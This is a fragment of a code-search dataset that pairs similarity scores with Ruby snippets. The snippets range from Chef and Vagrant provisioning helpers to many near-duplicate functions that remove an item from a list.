return\nend",
"title": ""
},
{
"docid": "69a0085dafb6e595e6d969eddb7d90e6",
"score": "0.5123469",
"text": "def deregister_node\n case node['platform']\n when 'windows'\n # Create temp directory where we copy/create source files to install tscm agent\n directory \"#{node['tscm']['temp']}\" do\n action :create\n not_if { ::File.directory?(node['tscm']['temp']) }\n end\n # copy tscm proxy key of tscm server on Node\n cookbook_file \"#{node['tscm']['temp']}\\\\#{node['tscm']['native_proxykey']}\" do\n source \"#{node['tscm']['native_proxykey']}\"\n action :create\n not_if { ::File.exist?(\"#{node['tscm']['temp']}\\\\#{node['tscm']['native_proxykey']}\") }\n end\n # fix permissions of client side files keys\n powershell_script 'fix_keyfile_permission' do\n code <<-EOH\n cd 'C:/Program Files/OpenSSH-Win64/'\n Import-Module ./OpenSSHUtils.psd1 -Force \n Repair-UserKeyPermission -FilePath 'C:\\\\tscm_temp\\\\SCM_id_rsa' -Confirm:$false\n EOH\n only_if { ::File.exist?(\"#{node['tscm']['temp']}\\\\#{node['tscm']['native_proxykey']}\") }\n end\n\n # Deregister of the Node\n ruby_block 'deregister_node' do\n block do\n Chef::Log.info('Deregistering the node from TSCM server')\n powershell_out(\"C:/PROGRA~1/OpenSSH-Win64/ssh.exe -o StrictHostKeyChecking=no -i #{node['tscm']['temp']}/SCM_id_rsa #{node['tscm']['TSCMProxy_user']}@#{node['tscm']['TSCMProxy_server']} powershell #{node['tscm']['tscmWrapper_path']} del #{node['tscm']['hostname']} w2k12\")\n end\n action :create\n end\n \n # Deleting the Temp file\n directory node['tscm']['temp'].to_s do\n recursive true\n action :delete\n end\n end\nend",
"title": ""
},
{
"docid": "f94bb0f7e6da9f7f25451cd3d42f15f7",
"score": "0.51170933",
"text": "def test_has_services\n hostname = `hostname`.chomp\n assert_equal(true, cmk.has_services(hostname))\n end",
"title": ""
},
{
"docid": "7585342eecf619395b0624bf7b563b2d",
"score": "0.5115804",
"text": "def saveChefMetadata\n self.class.loadChefLib\n @server.getSSHConfig # why though\n MU.log \"Saving #{@server.mu_name} Chef artifacts\"\n\n begin\n chef_node = ::Chef::Node.load(@server.mu_name)\n rescue Net::HTTPServerException\n @server.deploy.sendAdminSlack(\"Couldn't load Chef metadata on `#{@server.mu_name}` :crying_cat_face:\")\n raise MU::Groomer::RunError, \"Couldn't load Chef node #{@server.mu_name}\"\n end\n\n # Figure out what this node thinks its name is\n system_name = chef_node['fqdn'] if !chef_node['fqdn'].nil?\n MU.log \"#{@server.mu_name} local name is #{system_name}\", MU::DEBUG\n\n chef_node.normal.app = @config['application_cookbook'] if !@config['application_cookbook'].nil?\n chef_node.normal[\"service_name\"] = @config[\"name\"]\n chef_node.normal[\"credentials\"] = @config[\"credentials\"]\n chef_node.normal[\"windows_admin_username\"] = @config['windows_admin_username']\n chef_node.chef_environment = MU.environment.downcase\n if @server.config['cloud'] == \"AWS\"\n chef_node.normal[\"ec2\"] = MU.structToHash(@server.cloud_desc)\n end\n\n if @server.windows?\n chef_node.normal['windows_admin_username'] = @config['windows_admin_username']\n chef_node.normal['windows_auth_vault'] = @server.mu_name\n chef_node.normal['windows_auth_item'] = \"windows_credentials\"\n chef_node.normal['windows_auth_password_field'] = \"password\"\n chef_node.normal['windows_auth_username_field'] = \"username\"\n chef_node.normal['windows_ec2config_password_field'] = \"ec2config_password\"\n chef_node.normal['windows_ec2config_username_field'] = \"ec2config_username\"\n chef_node.normal['windows_sshd_password_field'] = \"sshd_password\"\n chef_node.normal['windows_sshd_username_field'] = \"sshd_username\"\n end\n\n # If AD integration has been requested for this node, give Chef what it'll need.\n if !@config['active_directory'].nil?\n chef_node.normal['ad']['computer_name'] = @server.mu_windows_name\n chef_node.normal['ad']['node_class'] = @config['name']\n chef_node.normal['ad']['domain_name'] = @config['active_directory']['domain_name']\n chef_node.normal['ad']['node_type'] = @config['active_directory']['node_type']\n chef_node.normal['ad']['domain_operation'] = @config['active_directory']['domain_operation']\n chef_node.normal['ad']['domain_controller_hostname'] = @config['active_directory']['domain_controller_hostname'] if @config['active_directory'].has_key?('domain_controller_hostname')\n chef_node.normal['ad']['netbios_name'] = @config['active_directory']['short_domain_name']\n chef_node.normal['ad']['computer_ou'] = @config['active_directory']['computer_ou'] if @config['active_directory'].has_key?('computer_ou')\n chef_node.normal['ad']['domain_sid'] = @config['active_directory']['domain_sid'] if @config['active_directory'].has_key?('domain_sid')\n chef_node.normal['ad']['dcs'] = @config['active_directory']['domain_controllers']\n chef_node.normal['ad']['domain_join_vault'] = @config['active_directory']['domain_join_vault']['vault']\n chef_node.normal['ad']['domain_join_item'] = @config['active_directory']['domain_join_vault']['item']\n chef_node.normal['ad']['domain_join_username_field'] = @config['active_directory']['domain_join_vault']['username_field']\n chef_node.normal['ad']['domain_join_password_field'] = @config['active_directory']['domain_join_vault']['password_field']\n chef_node.normal['ad']['domain_admin_vault'] = @config['active_directory']['domain_admin_vault']['vault']\n chef_node.normal['ad']['domain_admin_item'] = @config['active_directory']['domain_admin_vault']['item']\n chef_node.normal['ad']['domain_admin_username_field'] = @config['active_directory']['domain_admin_vault']['username_field']\n chef_node.normal['ad']['domain_admin_password_field'] = @config['active_directory']['domain_admin_vault']['password_field']\n end\n\n # Amazon-isms, possibly irrelevant\n awscli_region_widget = {\n \"compile_time\" => true,\n \"config_profiles\" => {\n \"default\" => {\n \"options\" => {\n \"region\" => @config['region']\n }\n }\n }\n }\n chef_node.normal['awscli'] = awscli_region_widget\n\n if !@server.cloud.nil?\n chef_node.normal['cloudprovider'] = @server.cloud\n\n # XXX In AWS this is an OpenStruct-ish thing, but it may not be in\n # others.\n chef_node.normal[@server.cloud.to_sym] = MU.structToHash(@server.cloud_desc)\n end\n\n tags = MU::MommaCat.listStandardTags\n tags.merge!(MU::MommaCat.listOptionalTags) if @config['optional_tags']\n\n if !@config['tags'].nil?\n @config['tags'].each { |tag|\n tags[tag['key']] = tag['value']\n }\n end\n\n if @config.has_key?(\"monitor\") and !@config['monitor']\n tags['nomonitor'] = true\n end\n\n chef_node.normal['tags'] = tags\n chef_node.save\n\n # If we have a database make sure we grant access to that vault.\n # In some cases the cached getLitter response will not have all the resources in the deploy, so lets not use the cache.\n if @config.has_key?('dependencies')\n deploy = MU::MommaCat.getLitter(MU.deploy_id, use_cache: false)\n @config['dependencies'].each{ |dep|\n if dep['type'] == \"database\" && deploy.deployment.has_key?(\"databases\") && deploy.deployment[\"databases\"].has_key?(dep['name'])\n deploy.deployment[\"databases\"][dep['name']].values.each { |database|\n grantSecretAccess(database['vault_name'], database['vault_item']) if database.has_key?(\"vault_name\") && database.has_key?(\"vault_item\")\n }\n end\n }\n end\n\n # Finally, grant us access to some pre-existing Vaults.\n if !@config['vault_access'].nil?\n @config['vault_access'].each { |vault|\n grantSecretAccess(vault['vault'], vault['item'])\n }\n end\n end",
"title": ""
},
{
"docid": "7d285ecc71f06c95d77ed586879003e8",
"score": "0.5113564",
"text": "def change_chef_vars(instances, &block)\n instances.each { |inst|\n query = \"name:#{inst['server_name']}\"\n query_nodes = Chef::Search::Query.new\n query_nodes.search('node', query) do |node_item|\n yield node_item\n end\n }\n end",
"title": ""
},
{
"docid": "6b2cf5f97375a322ea936e4aa0e5a7d4",
"score": "0.51127553",
"text": "def beaker_hosts\n ENV['BEAKER_HOSTS'] || 'centos7-64a'\nend",
"title": ""
},
{
"docid": "f75d38d47b977bdf121dad2ca8b3656f",
"score": "0.5107157",
"text": "def bootstrap_for_node\n bootstrap = Chef::Knife::Bootstrap.new\n bootstrap.name_args = [config[:fqdn]]\n bootstrap.config[:run_list] = get_config(:run_list).split(/[\\s,]+/)\n bootstrap.config[:secret_file] = get_config(:secret_file)\n bootstrap.config[:hint] = get_config(:hint)\n bootstrap.config[:ssh_user] = get_config(:ssh_user)\n bootstrap.config[:ssh_password] = get_config(:ssh_password)\n bootstrap.config[:ssh_port] = get_config(:ssh_port)\n bootstrap.config[:identity_file] = get_config(:identity_file)\n bootstrap.config[:chef_node_name] = get_config(:chef_node_name)\n bootstrap.config[:prerelease] = get_config(:prerelease)\n bootstrap.config[:bootstrap_version] = get_config(:bootstrap_version)\n bootstrap.config[:distro] = get_config(:distro)\n bootstrap.config[:use_sudo] = true unless get_config(:ssh_user) == 'root'\n bootstrap.config[:template_file] = get_config(:template_file)\n bootstrap.config[:environment] = get_config(:environment)\n bootstrap.config[:first_boot_attributes] = get_config(:first_boot_attributes)\n bootstrap.config[:log_level] = get_config(:log_level)\n # may be needed for vpc_mode\n bootstrap.config[:no_host_key_verify] = get_config(:no_host_key_verify)\n bootstrap\n end",
"title": ""
},
{
"docid": "113b6cd8d1a42415cf43e79cd0067680",
"score": "0.51039845",
"text": "def define_centos_5\n { 'name' => 'centos-5.10',\n 'driver_config' => { 'template' => 'centos-5.10-x86_64-solus',\n 'plan' => 'VPS2',\n 'node' => 'chefsolushv',\n 'privileged' => 'true',\n 'type' => 'xen',\n 'platform' => 'centos',\n 'use_sudo' => 'false',\n 'username' => 'internal' } }\n end",
"title": ""
},
{
"docid": "41303d1d072b9f06253adb1d38716fd6",
"score": "0.510083",
"text": "def hostname; end",
"title": ""
},
{
"docid": "41303d1d072b9f06253adb1d38716fd6",
"score": "0.510083",
"text": "def hostname; end",
"title": ""
},
{
"docid": "5bb64a429d22e1caa235e95c2560c229",
"score": "0.50931114",
"text": "def net_services\n svc = []\n# svc = cluster_configurations.map{ |cc| cc.net_service(self.node_type.node_type) }\n clusters.each do |cc| \n cc.services.each {|s|\n svc << [s.ha_ip_address , s.ha_port ,\n s.ha_proto, s.localport,\n \"#{net_type}#{cc.vlan}\" # local interface\n ]\n }\n svc << [nil, nil,'icmp', nil, \n \"#{net_type}#{cc.vlan}\" # local interface\n ]\n end\n #puts \"DEBUG:#{hostname}: #{svc.inspect}\" if is_load_balancer? \n if is_server? then \n svc2 = []\n svc.each { |s| \n svc2 << [\"\",\"\",s[2],s[3], mangle(s[4])]\n svc2 << [\"\",\"\",s[2],s[3], s[4]]\n }\n #puts \"DEBUG:#{hostname}: #{svc2.inspect}\" if is_load_balancer? \n svc.concat(svc2)\n end\n # will be wrong for virutal with SANs\n san = san_nics.map { |nic| [nil, nil, 'tcp', 22, nic.port_name] }\n svc.concat(san)\n if node_type.is_loadbalancer?\n ha_svc = ClusterConfiguration.find_all_ha_net_services\n svc.concat(ha_svc)\n # For Testing only - Delete after Feb 28, 2009 or come up with\n # something better\n test_vlans = Cluster.find(:all, :conditions => [\"vlan <= 102 and vlan > 8\"]).map{|c| c.vlan }\n testing_svc = test_vlans.map{|vlan|\n [nil,nil,'tcp',22, \"vlan#{vlan}\"]\n }.uniq\n svc.concat(testing_svc)\n testing_svc = test_vlans.map{|vlan|\n [nil,nil,'icmp',nil, \"vlan#{vlan}\"]\n }.uniq\n svc.concat(testing_svc)\n end\n # Icmp for application vlans\n if node_type.is_virtual?\n icmp = nics.map { |nic| \n [nil,nil,'icmp',nil, nic.port_name] if nic.port_name =~ /eth\\d+/ \n }.compact\n svc.concat(icmp)\n nginx = nics.map { |nic| \n [nil,nil,'tcp', 80, nic.port_name] if nic.lan? and nic.port_name =~ /eth\\d+/ \n }.compact\n svc.concat(nginx)\n end\n if hostname == 'uk01' then\n svc << [nil,nil,'tcp',11301,'eth4000']\n end\n rules = svc.map{|a| a.join(':') }\n if mgmt_ip_address then\n rules.concat( mgmt_ip_address.network.net_service(net_type) )\n end\n rules.map{|a| %Q(\\t\"#{a}\") }.sort.uniq.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "4e8674ca5d726620ac0edd59495d9f39",
"score": "0.50901204",
"text": "def install_deps!(node)\n node.vm.provision \"shell\", inline: \"cp -f /vagrant/hosts /etc/hosts\"\n deps = [\n 'java-1.8.0-openjdk',\n 'ed',\n\n # * purely for convenience\n 'the_silver_searcher',\n 'vim',\n 'zip'\n ]\n node.vm.provision \"shell\", inline: \"yum install -y #{deps.join(' ')}\"\nend",
"title": ""
},
{
"docid": "90964341234f9e0b87c4cd8986ebeb25",
"score": "0.508852",
"text": "def read_facts_xinetd_services(srvs, type = 'std')\n xinetd_services = {}\n\n srvs.each do |srv|\n srv_name = \"srv_#{srv}\"\n xinetd_services[srv_name] = check_xinetd_service(srv, type)\n end\n\n xinetd_services\nend",
"title": ""
},
{
"docid": "8e46d4eb8dd52ba30900c1d7d6640d60",
"score": "0.50762576",
"text": "def register(service,configFileName)\n # We now derive the service Class from the string 'service'\n # 'service' is the service name given by the calling run() method\n # This new design allows us to avoid calling 'register' from the service .rb file\n #\n serviceClass = Class::class_eval(\"#{service}\")\n name = serviceClass.serviceName\n path = \"/#{name}\"\n\n configFile = \"#{findServiceDir}/#{configFileName}\"\n MObject.debug(:gridservices, \"Loading service config file '#{configFile}'\")\n if (File.readable?(configFile))\n\n f = File.open(configFile)\n params = YAML::parse(f).transform\n f.close\n\n if (cfg = params[name]).nil?\n raise \"Missing configuration for service '#{name}'\"\n end\n serviceClass.configure(cfg)\n else\n MObject.error(:gridservices, \"Service config file '#{configFile}' is not readable\")\n end\n\n if serviceClass.respond_to?(:mount) then\n MObject.debug(:gridservices, \"Mounting legacy service #{serviceClass}\")\n serviceClass.mount(ServiceMounter.server(:http).server, path)\n # Make sure legacy HTTP services get reported in the service summary XML document\n # (see AggmgrServer#all_services_summary)\n ServiceMounter.aggmgr_server(:http).register_legacy_service_class(serviceClass)\n else\n MObject.debug(:gridservices, \"Mounting service #{serviceClass}\")\n ServiceMounter.mount(serviceClass)\n end\nend",
"title": ""
},
{
"docid": "e21095589b2ef7011ea0624bbe61b7fb",
"score": "0.5074452",
"text": "def provider\n\tend",
"title": ""
},
{
"docid": "26f24adebecf626161f093f777c6ae26",
"score": "0.5072778",
"text": "def service_resource\n # Sanity checking\n check_signals!\n run_dummy!\n # Set defaults for sv_bin and sv_dir so we can use them in templates.\n # This follows the same lookup as in resource_runit_service.rb.\n if node['runit']\n options['sv_bin'] ||= node['runit']['sv_bin']\n options['sv_dir'] ||= node['runit']['sv_dir']\n end\n options['sv_bin'] ||= '/usr/bin/sv'\n options['sv_dir'] ||= '/etc/sv'\n # Build the runit_service resource.\n @service_resource ||= Chef::Resource::RunitService.new(new_resource.name, run_context).tap do |r|\n r.provider service_provider\n r.service_name new_resource.service_name\n r.owner 'root'\n r.group 'root'\n r.sv_bin options['sv_bin']\n r.sv_dir options['sv_dir']\n r.sv_timeout options['timeout'] if options['timeout']\n r.options options.merge(new_resource: new_resource, runit_signals: RUNIT_SIGNALS)\n r.env Mash.new(options['environment'] || new_resource.environment)\n r.run_template_name 'template'\n r.log_template_name 'template'\n # Force h and t because those map to stop_signal and reload_signal.\n control = []\n control << 'h' if new_resource.reload_signal != 'HUP'\n control += %w{d t} if new_resource.stop_signal != 'TERM'\n control += options['control'].keys if options['control']\n control.uniq!\n r.control control\n r.control_template_names Hash.new { 'template-control' } # There is no name only Zuul.\n r.cookbook 'poise-service-runit'\n # Runit only supports the equivalent of our 'immediately' mode :-/\n r.restart_on_update new_resource.restart_on_update\n end\n end",
"title": ""
},
{
"docid": "f25bd17da161a41f10947ba545249238",
"score": "0.50692356",
"text": "def monitoring_repository(action)\n # call with :add or :remote, defaults to :add\n action ||= 'add'\n\n case node['platform_family']\n when 'debian'\n apt_repository 'rackspace_monitoring' do\n uri \"https://stable.packages.cloudmonitoring.rackspace.com/#{node['platform']}-#{node['lsb']['release']}-x86_64\"\n distribution 'cloudmonitoring'\n components ['main']\n key \"https://monitoring.api.rackspacecloud.com/pki/agent/#{node['platform']}-#{node['platform_version'][0]}.asc\"\n action action\n end\n when 'rhel'\n yum_repository 'rackspace_monitoring' do\n description 'Rackspace Monitoring Agent package repository'\n baseurl \"https://stable.packages.cloudmonitoring.rackspace.com/#{node['platform']}-#{node['platform_version'][0]}-x86_64\"\n gpgkey \"https://monitoring.api.rackspacecloud.com/pki/agent/#{node['platform']}-#{node['platform_version'][0]}.asc\"\n enabled true\n gpgcheck true\n action action\n end\n end\nend",
"title": ""
},
{
"docid": "861d6f85f6ebbbf3841ec535bed5ca49",
"score": "0.5067188",
"text": "def fedora_platform?(node = __getnode)\n node[\"platform\"] == \"fedora\"\n end",
"title": ""
},
{
"docid": "6ea78dce865eef19cd628a1fb4b697d7",
"score": "0.50577074",
"text": "def do_add_repo(repository,mirror_enabled,mirror_url,mirror_ca_cert)\n name = repository['name']\n url = repository['url']\n if !mirror_enabled\n cmd = \"helm repo add #{name} #{url} \"\n else\n if mirror_ca_cert == \"\"\n cmd = \"helm repo add #{name} #{mirror_url} \"\n else\n cmd = \"helm repo add --ca-file=/var/vcap/store/action/config/mirror_ca_cert.pem #{name} #{mirror_url} \"\n end\n end\n \"#{cmd};helm repo update\"\nend",
"title": ""
},
{
"docid": "74ee49af47a94f13bb3b90c0c15d501b",
"score": "0.50508183",
"text": "def srv\n @service_finder\n end",
"title": ""
},
{
"docid": "4d4ff534698a5deaeab9cf3203f80ae3",
"score": "0.5048576",
"text": "def setup_common(id, options = {})\n node = options[:for_node]\n options[:memory] ||= 1024\n\n # Base setup: Ubuntu Server 14.04 LTS (Trusty Tahr) 64-bit for Parallels\n node.vm.box = \"parallels/ubuntu-14.04\"\n\n # Setup provider\n node.vm.provider \"parallels\" do |provider|\n provider.memory = options[:memory]\n end\n\n # Puppet setup\n node.vm.provision :puppet do |pp|\n pp.module_path = \"Puppet/modules\"\n pp.manifests_path = \"Puppet/manifests\"\n pp.manifest_file = \"init_#{id}.pp\"\n pp.hiera_config_path = \"Hiera/#{id}.yaml\"\n end\nend",
"title": ""
},
{
"docid": "b1622cbe0276e7ea4628d9c57f48050a",
"score": "0.50379276",
"text": "def rpm_based?(node = __getnode)\n fedora_derived?(node) || node[\"platform_family\"] == \"suse\"\n end",
"title": ""
},
{
"docid": "80c8e5827009821b96a64d13da869442",
"score": "0.5024225",
"text": "def upgrade_repo!\n package 'apt-transport-https'\n include_recipe \"apt-chef::#{new_resource.channel}\"\n package('chefdk') { action :upgrade }\n end",
"title": ""
},
{
"docid": "1e965c49667457d57567373b59ae22c2",
"score": "0.5023966",
"text": "def getPackageDetails(cloud_name, cookbook_name, a_comp_mirrors, a_cloud_mirrors, src_mirror, node_platform, distributionurl)\n\n #Chef::Log.info(\"Getting mirror for app: #{cookbook_name} & cloud: #{cloud_name}\")\n base_url = ''\n base_url = distributionurl if (distributionurl != nil && !distributionurl.empty?)\n\n log \"getting_couchbase_pack\" do\n message \"Getting mirror for app: #{cookbook_name}, cloud: #{cloud_name} base url: #{base_url}\"\n level :info\n end\n\n # Search for component mirror\n comp_mirrors = JSON.parse(a_comp_mirrors) if base_url.empty?\n base_url = comp_mirrors[0] if (comp_mirrors != nil && comp_mirrors.size > 0)\n # Search for cloud mirror\n cloud_mirrors = JSON.parse(a_cloud_mirrors) if base_url.empty?\n base_url = cloud_mirrors[cookbook_name] if !cloud_mirrors.nil? && cloud_mirrors.has_key?(cookbook_name)\n # Search for cookbook default attribute mirror\n base_url = src_mirror if base_url.empty?\n\n case node_platform\n # Redhat based distros\n when 'redhat', 'centos', 'fedora'\n package_type = 'rpm'\n package_installer = 'rpm -i --nodeps'\n yum_package 'perl-Time-HiRes' do\n action :install\n end\n # Debian based ditros\n when 'ubuntu', 'debian'\n package_type = 'deb'\n package_installer = 'dpkg -i'\n else\n Chef::Application.fatal!(\"#{node_platform} platform is not supported for Couchbase.\")\n end\n #Chef::Log.info(\"Mirror base_url: #{base_url} & package_type: #{package_type}\")\n log \"result_couchbase_pack\" do\n message \"Mirror base_url: #{base_url} & package_type: #{package_type}\"\n level :info\n end\n return base_url, package_type, package_installer\nend",
"title": ""
}
] |
ce343857c1ce941f4095e37ab0a5d586 | Public: remove a named Item. list_name the String name of the List. name the String name of the Item. Example Commands.delete_item("alistname", "anitemname") Returns nothing. | [
{
"docid": "9e6692ede4d44ea7cf033761de40effa",
"score": "0.7511639",
"text": "def delete_item(list_name,name)\n if storage.list_exists?(list_name)\n list = List.find(list_name)\n if list.delete_item(name)\n output \"#{cyan(\"Boom!\")} #{yellow(name)} is gone forever.\"\n save\n else\n output \"#{yellow(name)} #{red(\"not found in\")} #{yellow(list_name)}\"\n end\n else\n output \"We couldn't find that list.\"\n end\n end",
"title": ""
}
] | [
{
"docid": "c052869f965ef5d0f3da8cd5d27eb6d8",
"score": "0.8102607",
"text": "def remove(list, item_name)\n\tlist.delete(item_name)\nend",
"title": ""
},
{
"docid": "492ca313c37aa0cf96ea42b51b8949c8",
"score": "0.8019028",
"text": "def remove_item(list, item_name)\n list.delete(item_name)\nend",
"title": ""
},
{
"docid": "e8d06fac4b5632eafd28088199c5f768",
"score": "0.801418",
"text": "def remove_item(list, item_name)\n\tlist.delete(item_name)\n\tlist\nend",
"title": ""
},
{
"docid": "e8d06fac4b5632eafd28088199c5f768",
"score": "0.801418",
"text": "def remove_item(list, item_name)\n\tlist.delete(item_name)\n\tlist\nend",
"title": ""
},
{
"docid": "e8d06fac4b5632eafd28088199c5f768",
"score": "0.801418",
"text": "def remove_item(list, item_name)\n\tlist.delete(item_name)\n\tlist\nend",
"title": ""
},
{
"docid": "0827d33eac49d795e9411f1b68b08b9a",
"score": "0.7970393",
"text": "def remove_item(list, item_name)\n\tlist.delete(item_name)\n\tp list\nend",
"title": ""
},
{
"docid": "698c17bbea9cd48c0e0a3e9be2bf0667",
"score": "0.7956146",
"text": "def remove_item(list_items, item_name)\n list_items.delete(item_name)\nend",
"title": ""
},
{
"docid": "e2c890a45ac4d478ae654858ef2e06fc",
"score": "0.7846397",
"text": "def remove_item(list, item_name)\n\tlist.delete_if { |item, quantity| item === item_name }\nend",
"title": ""
},
{
"docid": "7e7f710f5e9a973d32ae1189d1d0243d",
"score": "0.7776289",
"text": "def remove_item(list, name)\n list.delete(normalize_string(name))\n return list\nend",
"title": ""
},
{
"docid": "41c10928cfb23d87d134b55e7f1cb3ef",
"score": "0.7590597",
"text": "def remove_item(list, item_name)\n list.delete(item_name)\n list\nend",
"title": ""
},
{
"docid": "ff456712ce82928e2725d351921b6d4f",
"score": "0.75770885",
"text": "def remove_item(list, item_name)\r\n list.delete(item_name)\r\n list\r\nend",
"title": ""
},
{
"docid": "1e5f1c2e7e8337f1133641f4ef7672da",
"score": "0.75255215",
"text": "def rem_list(item_name, item_list)\n item_list.delete(item_name)\n puts \"You just removed #{item_name} from the list.\"\nend",
"title": ""
},
{
"docid": "2b998621458d1e5e8652ea1349052405",
"score": "0.74575835",
"text": "def delete_item(item)\r\n @list.delete(item)\r\n end",
"title": ""
},
{
"docid": "7dfa12b697a8e93d780c097078724bee",
"score": "0.7420079",
"text": "def remove_item(list, item_name)\n list.delete(item_name.to_sym)\n list\nend",
"title": ""
},
{
"docid": "1c630c57e6c288d0ded2cb48b7adee81",
"score": "0.73917186",
"text": "def remove(list, item_name)\r\n\tlist.delete(item_name)\r\n\tp list\r\nend",
"title": ""
},
{
"docid": "d29a07061c82d49fd424ead503fa9a3f",
"score": "0.73784024",
"text": "def remove_item(list_name,item_to_remove)\n #find all array elements in given list with the given item name and delete them\n list_name.delete_if { |x| x[:item_name] == item_to_remove}\n end",
"title": ""
},
{
"docid": "6799b76c41b9b792c4a2cc70b6509580",
"score": "0.7361988",
"text": "def removeNamedItem(name)\n getNamedItem(name).remove\n end",
"title": ""
},
{
"docid": "863a36c49c61e81519ad43f425afb418",
"score": "0.7302659",
"text": "def delete_item(list,item)\n\tlist.delete(item)\nend",
"title": ""
},
{
"docid": "41cbd2b6eda11c72e010665ae960c647",
"score": "0.7298273",
"text": "def remove_item(new_list, item_name)\r\n new_list.delete(item_name)\r\nend",
"title": ""
},
{
"docid": "3518ab0b5343012f9e0b9323246d6322",
"score": "0.72406894",
"text": "def remove_item(list, item)\n\tlist.delete(item)\nend",
"title": ""
},
{
"docid": "aafb1302ea61df089d09aceb2f93c8c0",
"score": "0.72324705",
"text": "def list_remover(list,item) #takes 2 arguments, 1 list and name of an item\n\tlist.delete(item)\t\n\t\nend",
"title": ""
},
{
"docid": "33aa237efe56e5bea09cdbf32bf6c6da",
"score": "0.7206917",
"text": "def del_item(list, item_to_del)\n list.delete(item_to_del)\nend",
"title": ""
},
{
"docid": "72b9aae46685389472178986831ad713",
"score": "0.7190681",
"text": "def remove_item(list, item_name)\n if list.has_key?(item_name)\n list.delete(item_name)\n end\n list\nend",
"title": ""
},
{
"docid": "6128f0bdbeb940c8880ae10744fec34d",
"score": "0.7185097",
"text": "def remove_item(list,item)\n\tlist.delete(item)\nend",
"title": ""
},
{
"docid": "e4bfa5404320912432df6623c5b4faf6",
"score": "0.7184378",
"text": "def delete_item(list_id:, item_id:)\n api_request(method: :delete, path: \"lists/#{list_id}/items/#{item_id}\")\n end",
"title": ""
},
{
"docid": "e58541de4bfdca76d222b414403b58ec",
"score": "0.7162746",
"text": "def remove_item(list, item_name)\n\t{|list| list.delete(\"mangoes\")}\nend",
"title": ""
},
{
"docid": "7f41d4f76e52f85439c24ada3011fdd0",
"score": "0.714507",
"text": "def delete_item(list, item)\n\tdel_list = list.delete(item)\nend",
"title": ""
},
{
"docid": "c00727dbd4fc181a29d28f85c6bc58c5",
"score": "0.71431625",
"text": "def remove_item(list, item_name)\r\n\tif list.has_key?(item_name)\r\n\t\tlist.delete(item_name)\r\n\tend\r\n\tlist\r\nend",
"title": ""
},
{
"docid": "5af25cd8ea310f72b859d20d30399984",
"score": "0.7140617",
"text": "def delete_item(name)\n previous = items.size\n items.reject! { |item| item.name == name}\n previous != items.size\n end",
"title": ""
},
{
"docid": "24fda0114f128fcf3157696ebf860fbf",
"score": "0.71369",
"text": "def delete_item(list, item)\n\tlist.delete(item)\n\tlist\nend",
"title": ""
},
{
"docid": "b28c97ada4d1de5e07b35bc4917cd83d",
"score": "0.7103148",
"text": "def delete_item(list_item)\n @list.delete(list_item)\n @list\n end",
"title": ""
},
{
"docid": "9fabfbbd4fe1268b742cc490cdde7a20",
"score": "0.70945597",
"text": "def delete_item(list, item)\n list.delete(item)\nend",
"title": ""
},
{
"docid": "4a351868d055d2c7c64a0b4d0a641abf",
"score": "0.7061544",
"text": "def remove_item(name, list)\n list.delete(name)\n p list\n return list\nend",
"title": ""
},
{
"docid": "1d7a2d21c9f34e1cd8aa7b3e286b0e3f",
"score": "0.70549726",
"text": "def remove_item(list, item_name)\r\n # list.delete_if { |item, amount| item == item_name }\r\n list.delete(item_name)\r\nend",
"title": ""
},
{
"docid": "df92b7f41e6f92361053b5397fc4d947",
"score": "0.7026967",
"text": "def delete_item(list, item)\n\tlist.delete(item)\n\treturn list\nend",
"title": ""
},
{
"docid": "4e79c17eb41deab54efada92ecd114cf",
"score": "0.7013499",
"text": "def remove_item(list, item_name)\n\tlist.delete(item_name){|item| list[item] = item_name}\n\tp list\nend",
"title": ""
},
{
"docid": "2a3240523ce87ca9582574fe613c5852",
"score": "0.70110166",
"text": "def delete_menu_item(menu_name, item)\n Heyday::MenuManager.map(menu_name) do |menu|\n menu.delete(item)\n end\n end",
"title": ""
},
{
"docid": "7b7fc048d5f5b56454dee3539679447e",
"score": "0.7007241",
"text": "def remove_item(list_name, item_name)\r\n if list_name.has_key?(item_name)\r\n list_name.delete(item_name)\r\n else\r\n p \"Item is not on the list\"\r\n end\r\nend",
"title": ""
},
{
"docid": "2e35fc23432fc11f97eff7decd71cfcc",
"score": "0.69963527",
"text": "def remove_item(list, item)\n list.delete(item)\nend",
"title": ""
},
{
"docid": "2e35fc23432fc11f97eff7decd71cfcc",
"score": "0.69963527",
"text": "def remove_item(list, item)\n list.delete(item)\nend",
"title": ""
},
{
"docid": "7b80baaae2a46adecfee6e9bec207c53",
"score": "0.69940567",
"text": "def delete_item(list,item)\n list.delete(item)\nend",
"title": ""
},
{
"docid": "7b80baaae2a46adecfee6e9bec207c53",
"score": "0.69940567",
"text": "def delete_item(list,item)\n list.delete(item)\nend",
"title": ""
},
{
"docid": "4c0c38824bca4c80942855e22292c44c",
"score": "0.69850695",
"text": "def remove_item(list, item)\n list.delete(item)\nend",
"title": ""
},
{
"docid": "6b93ec24bfc27099514755a0c0295ecb",
"score": "0.69634277",
"text": "def remove_item (list, item)\n list.delete(item)\nend",
"title": ""
},
{
"docid": "c64e551c59bf8ae9dd0bfdd3cac7a28a",
"score": "0.69530284",
"text": "def remove_item(list, item)\n list.delete(item)\nend",
"title": ""
},
{
"docid": "b77db64c2c9801621ed54518d17fb674",
"score": "0.6943084",
"text": "def remove_item (list, item)\n list.delete(item)\nend",
"title": ""
},
{
"docid": "01b347407649984ec1d9423572a953a8",
"score": "0.6894536",
"text": "def remove(list, item)\n\tlist.delete(item)\nend",
"title": ""
},
{
"docid": "15028fb86b70e10a279647a545f66469",
"score": "0.6893213",
"text": "def delete_item(list, item)\n del_list = list.delete(item)\nend",
"title": ""
},
{
"docid": "2fbfac032b647de74d52edb49e5b98a7",
"score": "0.6892538",
"text": "def remove_item(list, item)\n\tlist.delete(item)\n\tlist\nend",
"title": ""
},
{
"docid": "c7290e3ad1d6a63e78f08cb9949efa3f",
"score": "0.6879963",
"text": "def remove (list, item)\n\tlist.delete(item)\nend",
"title": ""
},
{
"docid": "f68ced800d9ee59362f83daea0be2ec7",
"score": "0.68716055",
"text": "def remove_item(item, list)\n list.delete(item)\nend",
"title": ""
},
{
"docid": "1e75ff8b418f07b5fb0294913665fa42",
"score": "0.68623596",
"text": "def delete(item, list)\n\tlist.delete(item)\nend",
"title": ""
},
{
"docid": "2760a113cf41a3c228ec86bbcaa16d8c",
"score": "0.6854087",
"text": "def remove_item(list,item)\n\tlist.delete(item)\n\tp list\nend",
"title": ""
},
{
"docid": "00621440689c8b33408165e3d5f0e039",
"score": "0.6832211",
